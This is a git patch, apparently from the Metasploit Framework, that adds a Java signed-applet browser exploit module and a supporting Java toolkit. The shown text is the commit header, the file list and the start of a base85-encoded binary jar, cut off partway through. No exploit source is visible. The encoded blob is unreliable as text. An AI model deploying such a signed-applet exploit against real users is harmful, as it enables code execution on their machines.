From cd5e5880d2ea29e1f35db695734492f636a6e4eb Mon Sep 17 00:00:00 2001 From: natron <> Date: Wed, 27 Jan 2010 19:46:39 +0000 Subject: [PATCH] Initial commit of Msf::Exploit::Java mixin and multi/browser/java_signed_applet exploit. git-svn-id: file:///home/svn/framework3/trunk@8267 4d416f70-5f16-0410-b530-b9f4589650da --- data/exploits/msfJavaToolkit.jar | Bin 0 -> 54341 bytes external/source/msfJavaToolkit/compile.sh | 7 + .../javaCompile/CompileSourceInMemory.class | Bin 0 -> 1624 bytes .../javaCompile/CompileSourceInMemory.java | 69 +++ .../javaCompile/CreateJarFile.class | Bin 0 -> 1833 bytes .../javaCompile/CreateJarFile.java | 51 +++ .../javaCompile/JavaSourceFromString.class | Bin 0 -> 1019 bytes external/source/msfJavaToolkit/msfkeystore | Bin 0 -> 1099 bytes external/source/msfJavaToolkit/output.jar | Bin 0 -> 1033 bytes external/source/msfJavaToolkit/soutput.jar | Bin 0 -> 2335 bytes .../source/msfJavaToolkit/testCompilation.rb | 40 ++ external/source/msfJavaToolkit/testKeytool.rb | 42 ++ .../testoutdir/HelloWorld1.class | Bin 0 -> 467 bytes .../testoutdir/HelloWorld2.class | Bin 0 -> 467 bytes lib/msf/core/exploit/java.rb | 163 +++++++ lib/msf/core/exploit/mixins.rb | 2 + lib/msf/core/module/author.rb | 21 +- .../multi/browser/java_signed_applet.rb | 432 ++++++++++++++++++ 18 files changed, 817 insertions(+), 10 deletions(-) create mode 100644 data/exploits/msfJavaToolkit.jar create mode 100755 external/source/msfJavaToolkit/compile.sh create mode 100644 external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.class create mode 100644 external/source/msfJavaToolkit/javaCompile/CompileSourceInMemory.java create mode 100644 external/source/msfJavaToolkit/javaCompile/CreateJarFile.class create mode 100644 external/source/msfJavaToolkit/javaCompile/CreateJarFile.java create mode 100644 external/source/msfJavaToolkit/javaCompile/JavaSourceFromString.class create mode 100644 external/source/msfJavaToolkit/msfkeystore create mode 100644 external/source/msfJavaToolkit/output.jar create mode 100644 external/source/msfJavaToolkit/soutput.jar create mode 100755 external/source/msfJavaToolkit/testCompilation.rb create mode 100755 external/source/msfJavaToolkit/testKeytool.rb create mode 100644 external/source/msfJavaToolkit/testoutdir/HelloWorld1.class create mode 100644 external/source/msfJavaToolkit/testoutdir/HelloWorld2.class create mode 100644 lib/msf/core/exploit/java.rb create mode 100644 modules/exploits/multi/browser/java_signed_applet.rb diff --git a/data/exploits/msfJavaToolkit.jar b/data/exploits/msfJavaToolkit.jar new file mode 100644 index 0000000000000000000000000000000000000000..08d0425ea037bb1c2a3725976b6ff70c6abbcbdf GIT binary patch literal 54341 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 